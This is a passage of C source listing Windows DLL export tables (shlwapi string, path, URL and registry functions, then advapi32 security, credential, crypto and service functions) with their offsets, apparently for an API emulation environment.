0x00022E8E, NULL, NULL}, {"StrCmpCW", 0x00006929, NULL, NULL}, {"StrCmpICA", 0x00007000, NULL, NULL}, {"StrCmpICW", 0x00006FB8, NULL, NULL}, {"AssocCreate", 0x00009E79, NULL, NULL}, {"SHLoadIndirectString", 0x0000BEBE, NULL, NULL}, {"AssocGetPerceivedType", 0x000110E3, NULL, NULL}, {"AssocIsDangerous", 0x00013CD3, NULL, NULL}, {"AssocQueryKeyA", 0x0005009D, NULL, NULL}, {"AssocQueryKeyW", 0x0000A5BE, NULL, NULL}, {"AssocQueryStringA", 0x0004FE4D, NULL, NULL}, {"SHGetViewStatePropertyBag", 0x0001B6AE, NULL, NULL}, {"DelayLoadFailureHook", 0x00066BED, NULL, NULL}, {"AssocQueryStringByKeyA", 0x0004FF88, NULL, NULL}, {"AssocQueryStringByKeyW", 0x0000B130, NULL, NULL}, {"AssocQueryStringW", 0x0001A7CE, NULL, NULL}, {"ChrCmpIA", 0x0002C465, NULL, NULL}, {"ChrCmpIW", 0x00007E1A, NULL, NULL}, {"ColorAdjustLuma", 0x000412B4, NULL, NULL}, {"ColorHLSToRGB", 0x00018BC2, NULL, NULL}, {"ColorRGBToHLS", 0x00018B17, NULL, NULL}, {"DllGetVersion", 0x00065B45, NULL, NULL}, {"GetMenuPosFromID", 0x000172F9, NULL, NULL}, {"HashData", 0x00023872, NULL, NULL}, {"IntlStrEqWorkerA", 0x000448BD, NULL, NULL}, {"IntlStrEqWorkerW", 0x0000761D, NULL, NULL}, {"IsCharSpaceA", 0x000460AD, NULL, NULL}, {"PathAddBackslashA", 0x0001058D, NULL, NULL}, {"PathAddBackslashW", 0x00006E9D, NULL, NULL}, {"PathAddExtensionA", 0x00048F33, NULL, NULL}, {"PathAddExtensionW", 0x0001532B, NULL, NULL}, {"PathAppendA", 0x0001913C, NULL, NULL}, {"PathAppendW", 0x00007ADD, NULL, NULL}, {"PathBuildRootA", 0x00007444, NULL, NULL}, {"PathBuildRootW", 0x0000404E, NULL, NULL}, {"PathCanonicalizeA", 0x0001902B, NULL, NULL}, {"PathCanonicalizeW", 0x00007891, NULL, NULL}, {"PathCombineA", 0x00019180, NULL, NULL}, {"PathCombineW", 0x000079D9, NULL, NULL}, {"PathCommonPrefixA", 0x000471D7, NULL, NULL}, {"PathCommonPrefixW", 0x0000753A, NULL, NULL}, {"PathCompactPathA", 0x0004843D, NULL, NULL}, {"PathCompactPathExA", 0x00049129, NULL, NULL}, {"PathCompactPathExW", 0x00051B22, NULL, NULL}, {"PathCompactPathW", 0x00051565, NULL, NULL}, {"PathCreateFromUrlA", 0x00022FA5, NULL, NULL}, {"PathCreateFromUrlW", 0x0001D9D7, NULL, NULL}, {"PathFileExistsA", 0x0004707F, NULL, NULL}, {"PathFileExistsW", 0x00007D99, NULL, NULL}, {"PathFindExtensionA", 0x0001F5EE, NULL, NULL}, {"PathFindExtensionW", 0x00006869, NULL, NULL}, {"PathFindFileNameA", 0x0000C1AC, NULL, NULL}, {"PathFindFileNameW", 0x00007087, NULL, NULL}, {"PathFindNextComponentA", 0x00047750, NULL, NULL}, {"PathFindNextComponentW", 0x0001BFCD, NULL, NULL}, {"PathFindOnPathA", 0x00048F18, NULL, NULL}, {"PathFindOnPathW", 0x0001871F, NULL, NULL}, {"PathFindSuffixArrayA", 0x000470EB, NULL, NULL}, {"PathFindSuffixArrayW", 0x0005100D, NULL, NULL}, {"PathGetArgsA", 0x00047002, NULL, NULL}, {"PathGetArgsW", 0x00014211, NULL, NULL}, {"PathGetCharTypeA", 0x00047A7C, NULL, NULL}, {"PathGetCharTypeW", 0x0001C2DA, NULL, NULL}, {"PathGetDriveNumberA", 0x00047434, NULL, NULL}, {"PathGetDriveNumberW", 0x00006BEA, NULL, NULL}, {"PathIsContentTypeA", 0x000479FC, NULL, NULL}, {"PathIsContentTypeW", 0x000230D1, NULL, NULL}, {"PathIsDirectoryA", 0x000475A8, NULL, NULL}, {"PathIsDirectoryEmptyA", 0x00048374, NULL, NULL}, {"PathIsDirectoryEmptyW", 0x0005149A, NULL, NULL}, {"PathIsDirectoryW", 0x0001AE99, NULL, NULL}, {"PathIsFileSpecA", 0x000473BA, NULL, NULL}, {"PathIsFileSpecW", 0x0001299E, NULL, NULL}, {"PathIsLFNFileSpecA", 0x00047CC9, NULL, NULL}, {"PathIsLFNFileSpecW", 0x000512CA, NULL, NULL}, {"PathIsNetworkPathA", 0x0004830F, NULL, NULL}, {"PathIsNetworkPathW", 0x00007DD3, NULL, NULL}, {"PathIsPrefixA", 0x000472DC, NULL, NULL}, {"PathIsPrefixW", 0x0001434C, NULL, NULL}, {"PathIsRelativeA", 0x000192A1, NULL, NULL}, {"PathIsRelativeW", 0x000067E2, NULL, NULL}, {"PathIsRootA", 0x00047529, NULL, NULL}, {"PathIsRootW", 0x00007476, NULL, NULL}, {"PathIsSameRootA", 0x0004797D, NULL, NULL}, {"PathIsSameRootW", 0x0005114F, NULL, NULL}, {"PathIsSystemFolderA", 0x0001C76E, NULL, NULL}, {"PathIsSystemFolderW", 0x00051290, NULL, NULL}, {"PathIsUNCA", 0x00018F75, NULL, NULL}, {"PathIsUNCServerA", 0x00023629, NULL, NULL}, {"PathIsUNCServerShareA", 0x000473ED, NULL, NULL}, {"PathIsUNCServerShareW", 0x00007F99, NULL, NULL}, {"PathIsUNCServerW", 0x00007F73, NULL, NULL}, {"PathIsUNCW", 0x00006E7F, NULL, NULL}, {"PathIsURLA", 0x000479C5, NULL, NULL}, {"PathIsURLW", 0x0000BBA1, NULL, NULL}, {"PathMakePrettyA", 0x0004808D, NULL, NULL}, {"PathMakePrettyW", 0x000211BC, NULL, NULL}, {"PathMakeSystemFolderA", 0x00048842, NULL, NULL}, {"PathMakeSystemFolderW", 0x00004ABF, NULL, NULL}, {"PathMatchSpecA", 0x000478C8, NULL, NULL}, {"PathMatchSpecW", 0x00012866, NULL, NULL}, {"PathParseIconLocationA", 0x000487CC, NULL, NULL}, {"PathParseIconLocationW", 0x0000B0AD, NULL, NULL}, {"PathQuoteSpacesA", 0x000476FC, NULL, NULL}, {"PathQuoteSpacesW", 0x00051097, NULL, NULL}, {"PathRelativePathToA", 0x00048FBA, NULL, NULL}, {"PathRelativePathToW", 0x0001C015, NULL, NULL}, {"PathRemoveArgsA", 0x00047046, NULL, NULL}, {"PathRemoveArgsW", 0x0001424B, NULL, NULL}, {"PathRemoveBackslashA", 0x00048285, NULL, NULL}, {"PathRemoveBackslashW", 0x000074CF, NULL, NULL}, {"PathRemoveBlanksA", 0x00048228, NULL, NULL}, {"PathRemoveBlanksW", 0x0000B02C, NULL, NULL}, {"PathRemoveExtensionA", 0x0004718E, NULL, NULL}, {"PathRemoveExtensionW", 0x00006903, NULL, NULL}, {"PathRemoveFileSpecA", 0x0004733C, NULL, NULL}, {"PathRemoveFileSpecW", 0x00007C66, NULL, NULL}, {"PathRenameExtensionA", 0x000481D2, NULL, NULL}, {"PathRenameExtensionW", 0x00051442, NULL, NULL}, {"PathSearchAndQualifyA", 0x000474AC, NULL, NULL}, {"PathSearchAndQualifyW", 0x0001F633, NULL, NULL}, {"PathSetDlgItemPathA", 0x000486F5, NULL, NULL}, {"PathSetDlgItemPathW", 0x00051819, NULL, NULL}, {"PathSkipRootA", 0x00047918, NULL, NULL}, {"PathSkipRootW", 0x000510F2, NULL, NULL}, {"PathStripPathA", 0x00048347, NULL, NULL}, {"PathStripPathW", 0x0001AB2D, NULL, NULL}, {"PathStripToRootA", 0x000482DD, NULL, NULL}, {"PathStripToRootW", 0x00008405, NULL, NULL}, {"PathUnExpandEnvStringsA", 0x000494A7, NULL, NULL}, {"PathUnExpandEnvStringsW", 0x00051E99, NULL, NULL}, {"PathUndecorateA", 0x00047D28, NULL, NULL}, {"PathUndecorateW", 0x0002CF45, NULL, NULL}, {"PathUnmakeSystemFolderA", 0x00047C6B, NULL, NULL}, {"PathUnmakeSystemFolderW", 0x00051256, NULL, NULL}, {"PathUnquoteSpacesA", 0x000476BE, NULL, NULL}, {"PathUnquoteSpacesW", 0x0000AFCF, NULL, NULL}, {"SHAutoComplete", 0x000213A7, NULL, NULL}, {"SHCopyKeyA", 0x00041624, NULL, NULL}, {"SHCopyKeyW", 0x0004188A, NULL, NULL}, {"SHCreateShellPalette", 0x00011980, NULL, NULL}, {"SHCreateStreamOnFileA", 0x00060256, NULL, NULL}, {"SHCreateStreamOnFileEx", 0x0001A1E6, NULL, NULL}, {"SHCreateStreamOnFileW", 0x0000B8A9, NULL, NULL}, {"SHCreateStreamWrapper", 0x0006326C, NULL, NULL}, {"SHCreateThreadRef", 0x00017D00, NULL, NULL}, {"SHDeleteEmptyKeyA", 0x00041905, NULL, NULL}, {"SHDeleteEmptyKeyW", 0x00041915, NULL, NULL}, {"SHDeleteKeyA", 0x00018551, NULL, NULL}, {"SHDeleteKeyW", 0x00016FD4, NULL, NULL}, {"SHDeleteOrphanKeyA", 0x00041905, NULL, NULL}, {"SHDeleteOrphanKeyW", 0x00041915, NULL, NULL}, {"SHDeleteValueA", 0x000415E1, NULL, NULL}, {"SHDeleteValueW", 0x0001C435, NULL, NULL}, {"SHEnumKeyExA", 0x00041979, NULL, NULL}, {"SHEnumKeyExW", 0x00015138, NULL, NULL}, {"SHEnumValueA", 0x0004199F, NULL, NULL}, {"SHEnumValueW", 0x000212B9, NULL, NULL}, {"SHGetInverseCMAP", 0x000242A4, NULL, NULL}, {"SHGetThreadRef", 0x000126D4, NULL, NULL}, {"SHGetValueA", 0x00010103, NULL, NULL}, {"SHGetValueW", 0x00004597, NULL, NULL}, {"SHIsLowMemoryMachine", 0x00056F09, NULL, NULL}, {"SHOpenRegStream2A", 0x0001B0C4, NULL, NULL}, {"SHOpenRegStream2W", 0x000124FA, NULL, NULL}, {"SHOpenRegStreamA", 0x0001BC5C, NULL, NULL}, {"SHOpenRegStreamW", 0x000623E9, NULL, NULL}, {"SHQueryInfoKeyA", 0x000419CA, NULL, NULL}, {"SHQueryInfoKeyW", 0x0001073C, NULL, NULL}, {"SHQueryValueExA", 0x0001022B, NULL, NULL}, {"SHQueryValueExW", 0x00006F3E, NULL, NULL}, {"SHRegCloseUSKey", 0x00008AE8, NULL, NULL}, {"SHRegCreateUSKeyA", 0x0001772F, NULL, NULL}, {"SHRegCreateUSKeyW", 0x000176C7, NULL, NULL}, {"SHRegDeleteEmptyUSKeyA", 0x00041BD3, NULL, NULL}, {"SHRegDeleteEmptyUSKeyW", 0x00041C7A, NULL, NULL}, {"SHRegDeleteUSValueA", 0x00041AC7, NULL, NULL}, {"SHRegDeleteUSValueW", 0x00041B70, NULL, NULL}, {"SHRegDuplicateHKey", 0x0000A54F, NULL, NULL}, {"SHRegEnumUSKeyA", 0x00041CDD, NULL, NULL}, {"SHRegEnumUSKeyW", 0x000150A1, NULL, NULL}, {"SHRegEnumUSValueA", 0x00041D67, NULL, NULL}, {"SHRegEnumUSValueW", 0x00041E07, NULL, NULL}, {"SHRegGetBoolUSValueA", 0x000211F8, NULL, NULL}, {"SHRegGetBoolUSValueW", 0x00008FA4, NULL, NULL}, {"SHRegGetPathA", 0x00042304, NULL, NULL}, {"SHRegGetPathW", 0x00042331, NULL, NULL}, {"SHRegGetUSValueA", 0x0001A892, NULL, NULL}, {"SHRegGetUSValueW", 0x00008D02, NULL, NULL}, {"SHRegGetValueA", 0x0001006A, NULL, NULL}, {"SHRegGetValueW", 0x0000432F, NULL, NULL}, {"SHRegOpenUSKeyA", 0x00008B59, NULL, NULL}, {"SHRegOpenUSKeyW", 0x00008C9A, NULL, NULL}, {"SHRegQueryInfoUSKeyA", 0x00041EA7, NULL, NULL}, {"SHRegQueryInfoUSKeyW", 0x0001068D, NULL, NULL}, {"SHRegQueryUSValueA", 0x000151CE, NULL, NULL}, {"SHRegQueryUSValueW", 0x00008E85, NULL, NULL}, {"SHRegSetPathA", 0x00041FBE, NULL, NULL}, {"SHRegSetPathW", 0x00041F30, NULL, NULL}, {"SHRegSetUSValueA", 0x0004274F, NULL, NULL}, {"SHRegSetUSValueW", 0x00018ACB, NULL, NULL}, {"SHRegWriteUSValueA", 0x0004209D, NULL, NULL}, {"SHRegWriteUSValueW", 0x00014FBD, NULL, NULL}, {"SHRegisterValidateTemplate", 0x0005615D, NULL, NULL}, {"SHReleaseThreadRef", 0x00056EA8, NULL, NULL}, {"SHSetThreadRef", 0x00017CC6, NULL, NULL}, {"SHSetValueA", 0x000168DB, NULL, NULL}, {"SHSetValueW", 0x0000976F, NULL, NULL}, {"SHSkipJunction", 0x0001EBF0, NULL, NULL}, {"SHStrDupA", 0x00044BA0, NULL, NULL}, {"SHStrDupW", 0x00006C73, NULL, NULL}, {"StrCSpnA", 0x00044724, NULL, NULL}, {"StrCSpnIA", 0x0004476E, NULL, NULL}, {"StrCSpnIW", 0x00044CD7, NULL, NULL}, {"StrCSpnW", 0x000173A3, NULL, NULL}, {"StrCatBuffA", 0x000232BC, NULL, NULL}, {"StrCatBuffW", 0x00006B60, NULL, NULL}, {"StrCatChainW", 0x00044BFC, NULL, NULL}, {"StrCatW", 0x000104C6, NULL, NULL}, {"StrChrA", 0x0001AA12, NULL, NULL}, {"StrChrIA", 0x0002C4AD, NULL, NULL}, {"StrChrIW", 0x00007E50, NULL, NULL}, {"StrChrNIW", 0x00044C4B, NULL, NULL}, {"StrChrNW", 0x000444CC, NULL, NULL}, {"StrChrW", 0x000066CD, NULL, NULL}, {"StrCmpIW", 0x00006A9E, NULL, NULL}, {"StrCmpLogicalW", 0x000084A5, NULL, NULL}, {"StrCmpNA", 0x00020F99, NULL, NULL}, {"StrCmpNIA", 0x000107E6, NULL, NULL}, {"StrCmpNIW", 0x00006F94, NULL, NULL}, {"StrCmpNW", 0x00006DF8, NULL, NULL}, {"StrCmpW", 0x00007136, NULL, NULL}, {"StrCpyNW", 0x00006763, NULL, NULL}, {"StrCpyW", 0x0000683A, NULL, NULL}, {"StrDupA", 0x0002CEF4, NULL, NULL}, {"StrDupW", 0x00006782, NULL, NULL}, {"StrFormatByteSize64A", 0x00044F9F, NULL, NULL}, {"StrFormatByteSizeA", 0x00044FE5, NULL, NULL}, {"StrFormatByteSizeW", 0x0001C9F2, NULL, NULL}, {"StrFormatKBSizeA", 0x00044961, NULL, NULL}, {"StrFormatKBSizeW", 0x0001E6D1, NULL, NULL}, {"StrFromTimeIntervalA", 0x00045280, NULL, NULL}, {"StrFromTimeIntervalW", 0x000452EB, NULL, NULL}, {"StrIsIntlEqualA", 0x000448BD, NULL, NULL}, {"StrIsIntlEqualW", 0x0000761D, NULL, NULL}, {"StrNCatA", 0x0001C913, NULL, NULL}, {"StrNCatW", 0x0002CD85, NULL, NULL}, {"StrPBrkA", 0x00044564, NULL, NULL}, {"StrPBrkW", 0x0001F699, NULL, NULL}, {"StrRChrA", 0x00010340, NULL, NULL}, {"StrRChrIA", 0x000444FF, NULL, NULL}, {"StrRChrIW", 0x00044C8F, NULL, NULL}, {"StrRChrW", 0x0000B06E, NULL, NULL}, {"StrRStrIA", 0x000447B8, NULL, NULL}, {"StrRStrIW", 0x0001389D, NULL, NULL}, {"StrRetToBSTR", 0x00044A69, NULL, NULL}, {"StrRetToBufA", 0x00044B21, NULL, NULL}, {"StrRetToBufW", 0x00006D3F, NULL, NULL}, {"StrRetToStrA", 0x00045041, NULL, NULL}, {"StrRetToStrW", 0x00012653, NULL, NULL}, {"StrSpnA", 0x00044660, NULL, NULL}, {"StrSpnW", 0x000446CA, NULL, NULL}, {"StrStrA", 0x00014F26, NULL, NULL}, {"StrStrIA", 0x0002C4FE, NULL, NULL}, {"StrStrIW", 0x00007E8C, NULL, NULL}, {"StrStrNIW", 0x00044D1D, NULL, NULL}, {"StrStrNW", 0x0004484C, NULL, NULL}, {"StrStrW", 0x00006E1C, NULL, NULL}, {"StrToInt64ExA", 0x000445B4, NULL, NULL}, {"StrToInt64ExW", 0x0001BB70, NULL, NULL}, {"StrToIntA", 0x00016A75, NULL, NULL}, {"StrToIntExA", 0x00044633, NULL, NULL}, {"StrToIntExW", 0x0001BB43, NULL, NULL}, {"StrToIntW", 0x0000AF84, NULL, NULL}, {"StrTrimA", 0x000449B0, NULL, NULL}, {"StrTrimW", 0x00012F27, NULL, NULL}, {"UrlApplySchemeA", 0x0005FAEF, NULL, NULL}, {"UrlApplySchemeW", 0x0005FBCA, NULL, NULL}, {"UrlCanonicalizeA", 0x00016865, NULL, NULL}, {"UrlCanonicalizeW", 0x0001E091, NULL, NULL}, {"UrlCombineA", 0x000166B0, NULL, NULL}, {"UrlCombineW", 0x0001E199, NULL, NULL}, {"UrlCompareA", 0x0005EDAD, NULL, NULL}, {"UrlCompareW", 0x000239FD, NULL, NULL}, {"UrlCreateFromPathA", 0x0005FA02, NULL, NULL}, {"UrlCreateFromPathW", 0x0001D8FA, NULL, NULL}, {"UrlEscapeA", 0x0005F77D, NULL, NULL}, {"UrlEscapeW", 0x00021A6A, NULL, NULL}, {"UrlGetLocationA", 0x00021EF2, NULL, NULL}, {"UrlGetLocationW", 0x000225D7, NULL, NULL}, {"UrlGetPartA", 0x0005F86A, NULL, NULL}, {"UrlGetPartW", 0x0000CCBB, NULL, NULL}, {"UrlHashA", 0x0005EEC2, NULL, NULL}, {"UrlHashW", 0x0005EEFD, NULL, NULL}, {"UrlIsA", 0x0005FF49, NULL, NULL}, {"UrlIsNoHistoryA", 0x00060026, NULL, NULL}, {"UrlIsNoHistoryW", 0x0001D9B2, NULL, NULL}, {"UrlIsOpaqueA", 0x0006000E, NULL, NULL}, {"UrlIsOpaqueW", 0x00023242, NULL, NULL}, {"UrlIsW", 0x0000BCBC, NULL, NULL}, {"UrlUnescapeA", 0x0005F970, NULL, NULL}, {"UrlUnescapeW", 0x0001DF4C, NULL, NULL}, {"wnsprintfA", 0x0000828C, NULL, NULL}, {"wnsprintfW", 0x000093F6, NULL, NULL}, {"wvnsprintfA", 0x00008012, NULL, NULL}, {"wvnsprintfW", 0x00009201, NULL, NULL}, {0,0,NULL}, }; struct emu_env_w32_dll_export advapi32_exports[] = { {"I_ScGetCurrentGroupStateW", 0x00066924, NULL, NULL}, {"A_SHAFinal", 0x0002B22D, NULL, NULL}, {"A_SHAInit", 0x0002B17D, NULL, NULL}, {"A_SHAUpdate", 0x0002B1D1, NULL, NULL}, {"AbortSystemShutdownA", 0x00064EB8, NULL, NULL}, {"AbortSystemShutdownW", 0x0002D45B, NULL, NULL}, {"AccessCheck", 0x000073A0, NULL, NULL}, {"AccessCheckAndAuditAlarmA", 0x0003CE49, NULL, NULL}, {"AccessCheckAndAuditAlarmW", 0x0002BC6C, NULL, NULL}, {"AccessCheckByType", 0x0000F1C9, NULL, NULL}, {"AccessCheckByTypeAndAuditAlarmA", 0x0003CF2F, NULL, NULL}, {"AccessCheckByTypeAndAuditAlarmW", 0x0003CC37, NULL, NULL}, {"AccessCheckByTypeResultList", 0x0003CB61, NULL, NULL}, {"AccessCheckByTypeResultListAndAuditAlarmA", 0x0003D024, NULL, NULL}, {"AccessCheckByTypeResultListAndAuditAlarmByHandleA", 0x0003D119, NULL, NULL}, {"AccessCheckByTypeResultListAndAuditAlarmByHandleW", 0x0003CD94, NULL, NULL}, {"AccessCheckByTypeResultListAndAuditAlarmW", 0x0003CCE2, NULL, NULL}, {"AddAccessAllowedAce", 0x00007D31, NULL, NULL}, {"AddAccessAllowedAceEx", 0x00012ED8, NULL, NULL}, {"AddAccessAllowedObjectAce", 0x0003D40C, NULL, NULL}, {"AddAccessDeniedAce", 0x0002814F, NULL, NULL}, {"AddAccessDeniedAceEx", 0x0003D33F, NULL, NULL}, {"AddAccessDeniedObjectAce", 0x0003D45A, NULL, NULL}, {"AddAce", 0x00027EA3, NULL, NULL}, {"AddAuditAccessAce", 0x0003D387, NULL, NULL}, {"AddAuditAccessAceEx", 0x0003D3BE, NULL, NULL}, {"AddAuditAccessObjectAce", 0x0003D4A8, NULL, NULL}, {"AddUsersToEncryptedFile", 0x00043583, NULL, NULL}, {"AdjustTokenGroups", 0x0003CC00, NULL, NULL}, {"AdjustTokenPrivileges", 0x0000F00C, NULL, NULL}, {"AllocateAndInitializeSid", 0x00007CC9, NULL, NULL}, {"AllocateLocallyUniqueId", 0x0000748C, NULL, NULL}, {"AreAllAccessesGranted", 0x0002BD7B, NULL, NULL}, {"AreAnyAccessesGranted", 0x0002D27D, NULL, NULL}, {"BackupEventLogA", 0x0003C8E0, NULL, NULL}, {"BackupEventLogW", 0x0003C384, NULL, NULL}, {"BuildExplicitAccessWithNameA", 0x00052374, NULL, NULL}, {"BuildExplicitAccessWithNameW", 0x00052374, NULL, NULL}, {"BuildImpersonateExplicitAccessWithNameA", 0x000523A4, NULL, NULL}, {"BuildImpersonateExplicitAccessWithNameW", 0x000523A4, NULL, NULL}, {"BuildImpersonateTrusteeA", 0x000524FE, NULL, NULL}, {"BuildImpersonateTrusteeW", 0x000524FE, NULL, NULL}, {"BuildSecurityDescriptorA", 0x00051EE0, NULL, NULL}, {"BuildSecurityDescriptorW", 0x00051CA5, NULL, NULL}, {"BuildTrusteeWithNameA", 0x000524D6, NULL, NULL}, {"BuildTrusteeWithNameW", 0x000524D6, NULL, NULL}, {"BuildTrusteeWithObjectsAndNameA", 0x000525DA, NULL, NULL}, {"BuildTrusteeWithObjectsAndNameW", 0x000525DA, NULL, NULL}, {"BuildTrusteeWithObjectsAndSidA", 0x0005253F, NULL, NULL}, {"BuildTrusteeWithObjectsAndSidW", 0x0005253F, NULL, NULL}, {"BuildTrusteeWithSidA", 0x0005251B, NULL, NULL}, {"BuildTrusteeWithSidW", 0x0005251B, NULL, NULL}, {"CancelOverlappedAccess", 0x00053709, NULL, NULL}, {"ChangeServiceConfig2A", 0x00067101, NULL, NULL}, {"ChangeServiceConfig2W", 0x00067189, NULL, NULL}, {"ChangeServiceConfigA", 0x00066E69, NULL, NULL}, {"ChangeServiceConfigW", 0x00067001, NULL, NULL}, {"CheckTokenMembership", 0x00007FCA, NULL, NULL}, {"ClearEventLogA", 0x0003C877, NULL, NULL}, {"ClearEventLogW", 0x0003C265, NULL, NULL}, {"CloseCodeAuthzLevel", 0x0000AF98, NULL, NULL}, {"CloseEncryptedFileRaw", 0x0004349C, NULL, NULL}, {"CloseEventLog", 0x000254BD, NULL, NULL}, {"CloseServiceHandle", 0x00016CE5, NULL, NULL}, {"CloseTrace", 0x00056DD0, NULL, NULL}, {"CommandLineFromMsiDescriptor", 0x0002BE16, NULL, NULL}, {"ComputeAccessTokenFromCodeAuthzLevel", 0x0000AB3D, NULL, NULL}, {"ControlService", 0x00024A09, NULL, NULL}, {"ControlTraceA", 0x0005A029, NULL, NULL}, {"ControlTraceW", 0x0002CCED, NULL, NULL}, {"ConvertAccessToSecurityDescriptorA", 0x00052E01, NULL, NULL}, {"ConvertAccessToSecurityDescriptorW", 0x00052DC5, NULL, NULL}, {"ConvertSDToStringSDRootDomainA", 0x00044B5A, NULL, NULL}, {"ConvertSDToStringSDRootDomainW", 0x00044976, NULL, NULL}, {"ConvertSecurityDescriptorToAccessA", 0x000530DF, NULL, NULL}, {"ConvertSecurityDescriptorToAccessNamedA", 0x000530DF, NULL, NULL}, {"ConvertSecurityDescriptorToAccessNamedW", 0x000530BA, NULL, NULL}, {"ConvertSecurityDescriptorToAccessW", 0x000530BA, NULL, NULL}, {"ConvertSecurityDescriptorToStringSecurityDescriptorA", 0x00044DCC, NULL, NULL}, {"ConvertSecurityDescriptorToStringSecurityDescriptorW", 0x00044A45, NULL, NULL}, {"ConvertSidToStringSidA", 0x0002C18D, NULL, NULL}, {"ConvertSidToStringSidW", 0x0000F10F, NULL, NULL}, {"ConvertStringSDToSDDomainA", 0x00044C38, NULL, NULL}, {"ConvertStringSDToSDDomainW", 0x000449CE, NULL, NULL}, {"ConvertStringSDToSDRootDomainA", 0x00044ADC, NULL, NULL}, {"ConvertStringSDToSDRootDomainW", 0x00044923, NULL, NULL}, {"ConvertStringSecurityDescriptorToSecurityDescriptorA", 0x00044D51, NULL, NULL}, {"ConvertStringSecurityDescriptorToSecurityDescriptorW", 0x00012F06, NULL, NULL}, {"ConvertStringSidToSidA", 0x00044CDC, NULL, NULL}, {"ConvertStringSidToSidW", 0x00024457, NULL, NULL}, {"ConvertToAutoInheritPrivateObjectSecurity", 0x0003D5A8, NULL, NULL}, {"CopySid", 0x0000F0E7, NULL, NULL}, {"CreateCodeAuthzLevel", 0x0004E9C5, NULL, NULL}, {"CreatePrivateObjectSecurity", 0x0003D571, NULL, NULL}, {"CreatePrivateObjectSecurityEx", 0x00014F2E, NULL, NULL}, {"CreatePrivateObjectSecurityWithMultipleInheritance", 0x0003D5DE, NULL, NULL}, {"CreateProcessAsUserA", 0x00040CE8, NULL, NULL}, {"CreateProcessAsUserSecure", 0x00040ADD, NULL, NULL}, {"CreateProcessAsUserW", 0x0001A8A9, NULL, NULL}, {"CreateProcessWithLogonW", 0x00045FFD, NULL, NULL}, {"CreateRestrictedToken", 0x0003DC8C, NULL, NULL}, {"CreateServiceA", 0x00067211, NULL, NULL}, {"CreateServiceW", 0x000673A9, NULL, NULL}, {"CreateTraceInstanceId", 0x0005ADCB, NULL, NULL}, {"CreateWellKnownSid", 0x0002519D, NULL, NULL}, {"CredDeleteA", 0x00048509, NULL, NULL}, {"CredDeleteW", 0x000485B1, NULL, NULL}, {"CredEnumerateA", 0x00047FA9, NULL, NULL}, {"CredEnumerateW", 0x00048099, NULL, NULL}, {"CredFree", 0x0001DF8D, NULL, NULL}, {"CredGetSessionTypes", 0x000489A9, NULL, NULL}, {"CredGetTargetInfoA", 0x00048809, NULL, NULL}, {"CredGetTargetInfoW", 0x000488D9, NULL, NULL}, {"CredIsMarshaledCredentialA", 0x00048F80, NULL, NULL}, {"CredIsMarshaledCredentialW", 0x00048E9E, NULL, NULL}, {"CredMarshalCredentialA", 0x00048ECC, NULL, NULL}, {"CredMarshalCredentialW", 0x00048DC6, NULL, NULL}, {"CredProfileLoaded", 0x0001E0F5, NULL, NULL}, {"CredReadA", 0x00047DF9, NULL, NULL}, {"CredReadDomainCredentialsA", 0x00048329, NULL, NULL}, {"CredReadDomainCredentialsW", 0x00048419, NULL, NULL}, {"CredReadW", 0x00047ED1, NULL, NULL}, {"CredRenameA", 0x00048659, NULL, NULL}, {"CredRenameW", 0x00048731, NULL, NULL}, {"CredUnmarshalCredentialA", 0x00048F17, NULL, NULL}, {"CredUnmarshalCredentialW", 0x00026EDE, NULL, NULL}, {"CredWriteA", 0x00047CB9, NULL, NULL}, {"CredWriteDomainCredentialsA", 0x00048189, NULL, NULL}, {"CredWriteDomainCredentialsW", 0x00048259, NULL, NULL}, {"CredWriteW", 0x00047D59, NULL, NULL}, {"CredpConvertCredential", 0x0004782D, NULL, NULL}, {"CredpConvertTargetInfo", 0x000478D1, NULL, NULL}, {"CredpDecodeCredential", 0x00047360, NULL, NULL}, {"CredpEncodeCredential", 0x000472F8, NULL, NULL}, {"CryptAcquireContextA", 0x0001793D, NULL, NULL}, {"CryptAcquireContextW", 0x00017F99, NULL, NULL}, {"CryptContextAddRef", 0x00041070, NULL, NULL}, {"CryptCreateHash", 0x00019C71, NULL, NULL}, {"CryptDecrypt", 0x0001A129, NULL, NULL}, {"CryptDeriveKey", 0x00019FFD, NULL, NULL}, {"CryptDestroyHash", 0x00019BCC, NULL, NULL}, {"CryptDestroyKey", 0x00019EBC, NULL, NULL}, {"CryptDuplicateHash", 0x00041CF9, NULL, NULL}, {"CryptDuplicateKey", 0x00041939, NULL, NULL}, {"CryptEncrypt", 0x0001E360, NULL, NULL}, {"CryptEnumProviderTypesA", 0x00041201, NULL, NULL}, {"CryptEnumProviderTypesW", 0x000429A1, NULL, NULL}, {"CryptEnumProvidersA", 0x00041461, NULL, NULL}, {"CryptEnumProvidersW", 0x00042B09, NULL, NULL}, {"CryptExportKey", 0x00041BF9, NULL, NULL}, {"CryptGenKey", 0x00041849, NULL, NULL}, {"CryptGenRandom", 0x0002B3F4, NULL, NULL}, {"CryptGetDefaultProviderA", 0x000426E1, NULL, NULL}, {"CryptGetDefaultProviderW", 0x00042D89, NULL, NULL}, {"CryptGetHashParam", 0x00019DB4, NULL, NULL}, {"CryptGetKeyParam", 0x00021298, NULL, NULL}, {"CryptGetProvParam", 0x00021339, NULL, NULL}, {"CryptGetUserKey", 0x00041B21, NULL, NULL}, {"CryptHashData", 0x00019A9E, NULL, NULL}, {"CryptHashSessionKey", 0x00041E21, NULL, NULL}, {"CryptImportKey", 0x0001A1F1, NULL, NULL}, {"CryptReleaseContext", 0x00017EEE, NULL, NULL}, {"CryptSetHashParam", 0x00042091, NULL, NULL}, {"CryptSetKeyParam", 0x00041A51, NULL, NULL}, {"CryptSetProvParam", 0x000410F1, NULL, NULL}, {"CryptSetProviderA", 0x00042161, NULL, NULL}, {"CryptSetProviderExA", 0x00042329, NULL, NULL}, {"CryptSetProviderExW", 0x00042CF1, NULL, NULL}, {"CryptSetProviderW", 0x00042C61, NULL, NULL}, {"CryptSignHashA", 0x00041FE1, NULL, NULL}, {"CryptSignHashW", 0x00041FD1, NULL, NULL}, {"CryptVerifySignatureA", 0x0002C841, NULL, NULL}, {"CryptVerifySignatureW", 0x00023522, NULL, NULL}, {"DecryptFileA", 0x00043741, NULL, NULL}, {"DecryptFileW", 0x000433CF, NULL, NULL}, {"DeleteAce", 0x0002D29A, NULL, NULL}, {"DeleteService", 0x000674B1, NULL, NULL}, {"DeregisterEventSource", 0x000279D3, NULL, NULL}, {"DestroyPrivateObjectSecurity", 0x00014F0C, NULL, NULL}, {"DuplicateEncryptionInfoFile", 0x000435EA, NULL, NULL}, {"DuplicateToken", 0x00008211, NULL, NULL}, {"DuplicateTokenEx", 0x0000819E, 